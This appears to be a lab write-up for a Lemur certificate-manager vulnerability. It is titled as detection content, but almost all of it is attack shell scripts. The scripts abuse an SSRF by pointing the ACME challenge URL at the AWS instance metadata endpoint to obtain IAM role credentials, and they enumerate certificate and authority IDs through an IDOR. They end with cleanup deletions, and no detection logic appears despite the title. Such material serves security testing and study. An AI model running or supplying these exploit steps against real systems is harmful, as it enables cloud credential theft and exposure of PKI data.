Detect CVE-2026-55166: Lemur ACME SSRF and IDOR Leading to AWS IAM/PKI Compromise in Sumo Logic CSE

# Obtain auth token (lab credentials)
LEMUR_TOKEN=$(curl -s -X POST http://lemur-lab:8000/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"lemur","password":"lemur"}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')

# Create certificate with SSRF payload in ACME DNS/HTTP validation URL
curl -s -X POST http://lemur-lab:8000/api/v1/certificates \
  -H "Authorization: Bearer $LEMUR_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "authority": {"name": "test-acme-ca"},
    "commonName": "ssrf-test.lab.internal",
    "validityStart": "2026-06-26T00:00:00",
    "validityEnd": "2027-06-26T00:00:00",
    "pluginOptions": {
      "acme_challenge_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
      "validation_method": "http-01"
    }
  }'

curl -s -X DELETE http://lemur-lab:8000/api/v1/certificates/$(curl -s http://lemur-lab:8000/api/v1/certificates?filter=commonName%3Assrf-test.lab.internal | python3 -c 'import sys,json; d=json.load(sys.stdin); print(d["items"][0]["id"]) if d["total"] > 0 else None') -H "Authorization: Bearer $LEMUR_TOKEN"

# Authenticate as low-privilege lab user
LEMUR_TOKEN=$(curl -s -X POST http://lemur-lab:8000/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"attacker123"}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')

# Enumerate certificate IDs 1-200 sequentially
for i in $(seq 1 200); do
  RESP=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $LEMUR_TOKEN" \
    http://lemur-lab:8000/api/v1/certificates/$i)
  if [ "$RESP" = "200" ]; then
    curl -s -H "Authorization: Bearer $LEMUR_TOKEN" \
      http://lemur-lab:8000/api/v1/certificates/$i \
      | python3 -c 'import sys,json; c=json.load(sys.stdin); print(f"ID={c[\"id\"]}, CN={c[\"commonName\"]}, Owner={c[\"owner\"]}")
  fi
done

# No cleanup needed — this is a read-only enumeration. Remove test accounts created for the lab.

#!/bin/bash
# STEP 1: IDOR — find authority IDs
LEMUR_TOKEN=$(curl -s -X POST http://lemur-lab:8000/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"attacker123"}' | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')

echo "[*] Enumerating certificate authorities..."
for i in $(seq 1 50); do
  curl -s -H "Authorization: Bearer $LEMUR_TOKEN" \
    http://lemur-lab:8000/api/v1/authorities/$i 2>/dev/null \
    | python3 -c 'import sys,json
try:
  d=json.load(sys.stdin)
  if "name" in d: print(f"Found CA: id={d[\"id\"]}, name={d[\"name\"]}, active={d.get(\"active\",\"?\")}")
except: pass' 2>/dev/null
done

# STEP 2: SSRF — trigger ACME validation to IMDS
echo "[*] Triggering SSRF to AWS IMDS..."
curl -s -X POST http://lemur-lab:8000/api/v1/certificates \
  -H "Authorization: Bearer $LEMUR_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{
    "authority": {"name": "test-acme-ca"},
    "commonName": "pwned.lab.internal",
    "validityStart": "2026-06-26T00:00:00",
    "validityEnd": "2027-06-26T00:00:00",
    "pluginOptions": {
      "acme_challenge_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-role",
      "validation_method": "http-01"
    }
  }'
echo "[*] Check Lemur application logs for IMDS response data"

# Remove test certificates and revoke any issued by the lab CA. Reset lab Lemur instance to clean state.
curl -s -X DELETE http://lemur-lab:8000/api/v1/certificates/$(curl -s -H "Authorization: Bearer $LEMUR_TOKEN" 'http://lemur-lab:8000/api/v1/certificates?filter=commonName%3Apwned.lab.internal' | python3 -c 'import sys,json; d=json.load(sys.stdin); print(d["items"][0]["id"]) if d["total"] > 0 else print("")')